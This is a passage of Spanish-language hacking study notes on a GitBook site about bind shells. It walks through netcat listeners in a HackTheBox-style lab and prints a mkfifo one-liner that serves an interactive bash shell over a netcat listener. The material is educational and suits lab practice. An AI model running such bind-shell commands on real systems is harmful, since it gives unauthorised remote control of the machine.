beafn28
  • 👩‍💻¡Bienvenidos a mi HackBook!
  • WRITEUPS
    • DockerLabs
      • BuscaLove
      • Amor
      • Injection
      • BorazuwarahCTF
      • Trust
      • Picadilly
      • Pinguinazo
      • AguaDeMayo
      • BreakMySSH
      • NodeClimb
      • Move
      • Los 40 ladrones
      • Vulnvault
      • Pntopntobarra
      • Library
      • Escolares
      • ConsoleLog
      • Vacaciones
      • Obsession
      • FirstHacking
      • SecretJenkins
      • HedgeHog
      • AnonymousPingu
      • ChocolateLovers
      • Dockerlabs
      • Pressenter
      • Candy
      • JenkHack
      • ShowTime
      • Upload
      • Verdejo
      • WalkingCMS
      • WhereIsMyWebShell
      • Whoiam
      • Winterfell
      • -Pn
      • Psycho
      • Mirame
      • Backend
      • Paradise
      • Balurero
      • Allien
      • Vendetta
      • FindYourStyle
      • Stellarjwt
      • File
      • Redirection (Por completar)
      • Extraviado
      • Patriaquerida
      • Tproot
      • Internship
      • Walking Dead
      • Bicho (Por completar)
      • BaluFood
    • TryHackMe
      • Brooklyn Nine Nine
      • Blue
    • HackTheBox
      • Nibbles
      • Starting Point
        • Meow
        • Fawn
        • Dancing
        • Redeemer
        • Appointment
        • Sequel
        • Crocodile
        • Responder
        • Three
        • Archetype
        • Oopsie
        • Vaccine
        • Unified
        • Explosion
        • Preignition
        • Mongod
        • Synced
        • Ignition
        • Bike
        • Funnel
        • Pennyworth
        • Tactics
        • Included
        • Markup
        • Base
      • BoardLight
      • Cap
      • TwoMillion
      • Lame
      • Legacy
      • Devel
      • Beep
      • Optimum
      • Arctic
      • Jerry
      • Sau
      • GoodGames
      • Challenges
        • Emdee five for life
        • MarketDump
      • Intro to Dante
      • Heist
      • OpenAdmin
      • Nest
      • Curling
    • Vulnhub
      • Wakanda
      • Election (Por terminar)
    • The Hacker Labs
      • Avengers
      • Can you hack me?
      • Fruits
      • Microchoft
      • TickTakRoot
      • Grillo
      • Mortadela
      • Zapas Guapas
      • Sal y Azúcar
      • Cyberpunk
      • Papafrita
      • PizzaHot
      • Decryptor
      • Academy
      • Cocido andaluz
      • Find Me
      • Quokka
      • Campana Feliz
      • Bocata de Calamares
      • Casa Paco
      • Torrijas
    • Vulnyx
      • Fuser
      • Blogguer
      • Lower
      • Exec
      • Diff3r3ntS3c
      • Hacking Station
      • Experience
      • Eternal
      • Agent
      • Infected
      • Admin
      • War
      • Hosting
    • OverTheWire
      • Natas
        • Nivel 0-5
        • Nivel 6-11
        • Nivel 12-17
        • Nivel 18-23
        • Nivel 24-29
        • Nivel 30-34
      • Leviathan
        • Nivel 0-7
      • Krypton
      • Bandit
        • Nivel 0-10
        • Nivel 11-20
        • Nivel 21-30
        • Nivel 31-34
    • Proving Ground Play
      • Monitoring
      • DriftingBlues6
  • APUNTES HACKING
    • Pentesting Basics
      • Web Enumeration
      • Public Exploits
      • Types of Shells
      • Privilege Escalation
      • Transfering Files
    • Network Enumeration with NMAP
      • Host Discovery
      • Host and Port Scanning
      • Saving the Results
      • Service Enumeration
      • Nmap Scripting Engine
      • Performance
      • Firewall and IDS/IPS Evasion
    • Footprinting
      • Domain Information
      • Cloud Resources
      • FTP
      • SMB
      • NFS
      • DNS
      • SMTP
      • IMAP/POP3
      • SNMP
      • MySQL
      • MSSQL
      • Oracle TNS
      • IPMI
      • Linux Remote Management Protocols
      • Windows Remote Management Protocols
    • Information Gathering - Web Edition
      • WHOIS
      • DNS
        • Digging DNS
      • Subdomains
        • Subdomain Bruteforcing
        • DNS Zone Transfers
        • Virtual Hosts
        • Certificate Transparency Logs
      • Fingerprinting
      • Crawling
        • robots.txt
        • Well-Known URIs
        • Creepy Crawlies
      • Search Engine Discovery
      • Web Archives
      • Automating Recon
    • Vulnerability Assessment
      • Vulnerability Assessment
      • Assessment Standards
      • Common Vulnerability Scoring System (CVSS)
      • Common Vulnerabilities and Exposures (CVE)
    • Nessus
      • Getting Started with Nessus
      • Nessus Scan
      • Advanced Settings
      • Working with Nessus Scan Output
      • Scanning Issues
    • OpenVAS
      • OpenVAS Scan
      • Exporting The Results
    • Reporting
    • File Transfers
      • Windows File Transfer Methods
      • Linux File Transfer Methods
      • Transferring Files with Code
      • Miscellaneous File Transfer Methods
      • Protected File Transfers
      • Catching Files over HTTP/S
      • Living off The Land
      • Detection
      • Evading Detection
    • Shells & Payloads
      • Anatomy of a Shell
      • Bind Shells
      • Reverse Shells
      • Payloads
        • Automating Payloads & Delivery with Metasploit
        • Crafting Payloads with MSFvenom
        • Infiltrating Windows
        • Infiltrating Unix/Linux
        • Spawning Interactive Shells
      • Introduction to Web Shells
        • Laudanum, One Webshell to Rule Them All
        • Antak Webshell
        • PHP Web Shells
      • Detection & Prevention
    • Metasploit
      • MSFConsole
      • Modules
      • Targets
      • Payloads
      • Encoders
      • Databases
      • Plugins
      • Sessions
      • Meterpreter
      • Writing and Importing Modules
      • Introduction to MSFVenom
      • Firewall and IDS/IPS Evasion
    • Password Attacks
      • John The Ripper
      • Network Services
      • Password Mutations
      • Password Reuse / Default Passwords
      • Attacking SAM
      • Attacking LSASS
      • Attacking Active Directory & NTDS.dit
      • Credential Hunting in Windows
      • Credential Hunting in Linux
      • Passwd, Shadow & Opasswd
      • Pass the Hash (PtH)
  • WEB SECURITY
    • Path Traversal
    • SQL Injection
    • Control de Acceso
  • Mis CTFs
    • Pequeñas Mentirosas
    • CryptoLabyrinth
    • Elevator
    • Facultad
  • PREPARAR EJPTv2
    • Máquinas
    • Curso de Mario
      • Presentación + Preparación de Laboratorios
      • Conceptos Básicos de Hacking
      • Explotación de Vulnerabilidades y Ataques de Fuerza Bruta
      • Explotación vulnerabilidades Web
      • Enumeración y Explotación del Protócolo SMB, SAMBA, SNMP, IIS y RDP
      • Hacking Entornos CMS
      • Escalada de Privilegios + Post Explotación
      • Pivoting con Metasploit
  • Preparar OSCP
    • Información
    • Máquinas
      • Linux
        • Fácil
        • Medio
        • Difícil
      • Windows
        • Fácil
        • Medio
        • Difícil
Powered by GitBook
On this page
  • Bind Shell
  • Ejemplo de Bind Shell
  • Practicando con GNU Netcat
  • No. 2: Cliente - Caja de ataque conectándose al objetivo
  • No. 3: Servidor - Objetivo recibiendo la conexión del cliente
  • No. 4: Cliente - Caja de ataque enviando el mensaje "Hello Academy"
  • No. 5: Servidor - Objetivo recibiendo el mensaje "Hello Academy"
  • Estableciendo una Shell Bind Básica con Netcat
  • No. 1: Servidor - Asociando una shell Bash a la sesión TCP
  • No. 2: Cliente - Conectándose a la shell bind en el objetivo

Was this helpful?

  1. APUNTES HACKING
  2. Shells & Payloads

Bind Shells

PreviousAnatomy of a ShellNextReverse Shells

Last updated 7 months ago

Was this helpful?

En muchos casos, trabajaremos para establecer una shell en un sistema en una red local o remota. Esto significa que utilizaremos la aplicación de emulación de terminal en nuestra caja de ataque local para controlar el sistema remoto a través de su shell. Esto generalmente se hace usando una shell bind o reverse.

Bind Shell

Con una bind shell, el sistema objetivo inicia un oyente (listener) y espera una conexión desde el sistema del pentester (la caja de ataque).

Ejemplo de Bind Shell

Como se muestra en la imagen, nos conectaríamos directamente con la dirección IP y el puerto que está escuchando en el objetivo. Hay varios desafíos asociados con obtener una shell de esta manera. A continuación, algunos aspectos a considerar:

  • Debe haber un oyente iniciado previamente en el objetivo.

  • Si no hay un oyente iniciado, tendríamos que encontrar una manera de hacerlo.

  • Los administradores típicamente configuran reglas de firewall de entrada estrictas y NAT (con implementación de PAT) en el borde de la red (expuesta al público), por lo que ya tendríamos que estar en la red interna.

  • Es probable que los firewalls del sistema operativo (en Windows y Linux) bloqueen la mayoría de las conexiones entrantes que no estén asociadas a aplicaciones confiables.

Los firewalls del sistema operativo pueden ser problemáticos cuando intentamos establecer una shell, ya que necesitamos tener en cuenta las direcciones IP, los puertos y la herramienta utilizada para que nuestra conexión funcione correctamente. En el ejemplo anterior, la aplicación utilizada para iniciar el oyente se llama GNU Netcat. Netcat (nc) es nuestra "navaja suiza" ya que puede funcionar sobre TCP, UDP y sockets Unix. Es capaz de utilizar IPv4 e IPv6, abrir y escuchar en sockets, operar como proxy, e incluso manejar entrada y salida de texto. Usaríamos nc en la caja de ataque como nuestro cliente, y el objetivo sería el servidor.

Vamos a entender más a fondo esto practicando con Netcat y estableciendo una conexión bind shell con un host en la misma red sin restricciones.

Practicando con GNU Netcat

Primero, necesitamos activar nuestra caja de ataque o Pwnbox y conectarnos al entorno de red de la Academia. Luego, asegurarnos de que nuestro objetivo esté iniciado. En este escenario, interactuaremos con un sistema Linux Ubuntu para comprender la naturaleza de una bind shell. Para hacerlo, utilizaremos Netcat (nc) tanto en el cliente como en el servidor.

Una vez conectados al objetivo mediante SSH, iniciaremos un oyente de Netcat:

No. 1: Servidor - Objetivo iniciando oyente Netcat

Target@server:~$ nc -lvnp 7777
Listening on [0.0.0.0] (family 0, port 7777)

En este caso, el objetivo será nuestro servidor, y la caja de ataque será nuestro cliente. Al presionar Enter, el oyente se inicia y espera una conexión desde el cliente.

De vuelta en el cliente (caja de ataque), utilizaremos nc para conectarnos al oyente que iniciamos en el servidor.

No. 2: Cliente - Caja de ataque conectándose al objetivo

sherlock28@htb[/htb]$ nc -nv 10.129.41.200 7777
Connection to 10.129.41.200 7777 port [tcp/*] succeeded!

Notemos cómo estamos usando nc tanto en el cliente como en el servidor. En el lado del cliente, especificamos la dirección IP del servidor y el puerto que configuramos para escuchar (7777). Una vez que nos conectamos con éxito, veremos el mensaje "succeeded!" en el cliente, como se muestra arriba, y un mensaje de conexión recibida en el servidor, como se ve abajo.

No. 3: Servidor - Objetivo recibiendo la conexión del cliente

Target@server:~$ nc -lvnp 7777
Listening on [0.0.0.0] (family 0, port 7777)
Connection from 10.10.14.117 51872 received!    

Sepamos que esto no es una shell propiamente dicha. Es solo una sesión TCP de Netcat que hemos establecido. Podemos ver su funcionalidad escribiendo un mensaje simple en el lado del cliente y viendo cómo se recibe en el servidor.

No. 4: Cliente - Caja de ataque enviando el mensaje "Hello Academy"

sherlock28@htb[/htb]$ nc -nv 10.129.41.200 7777
Connection to 10.129.41.200 7777 port [tcp/*] succeeded!
Hello Academy  

Una vez que escribimos el mensaje y presionamos Enter, veremos que el mensaje es recibido en el servidor.

No. 5: Servidor - Objetivo recibiendo el mensaje "Hello Academy"

Victim@server:~$ nc -lvnp 7777
Listening on [0.0.0.0] (family 0, port 7777)
Connection from 10.10.14.117 51914 received!
Hello Academy  

Estableciendo una Shell Bind Básica con Netcat

Hemos demostrado que podemos usar Netcat para enviar texto entre el cliente y el servidor, pero esto no es una bind shell porque no podemos interactuar con el sistema operativo ni con el sistema de archivos. Solo podemos pasar texto a través del canal configurado por Netcat. Usemos Netcat para proveer nuestra shell y establecer una verdadera bind shell.

En el lado del servidor, necesitaremos especificar el directorio, shell, oyente, trabajar con algunos canales y redireccionamiento de entrada y salida para garantizar que se sirva una shell al sistema cuando el cliente intente conectarse.

No. 1: Servidor - Asociando una shell Bash a la sesión TCP

Target@server:~$ rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l 10.129.41.200 7777 > /tmp/f

Los comandos anteriores son considerados nuestro payload y entregamos este payload manualmente. Notaremos que los comandos y el código en nuestros payloads variarán dependiendo del sistema operativo del host al que se los entreguemos.

De vuelta en el cliente, utilizaremos Netcat para conectarnos al servidor ahora que una shell en el servidor está siendo servida.

No. 2: Cliente - Conectándose a la shell bind en el objetivo

sherlock28@htb[/htb]$ nc -nv 10.129.41.200 7777
Target@server:~$  

Veremos que hemos establecido con éxito una sesión de bind shell con el objetivo.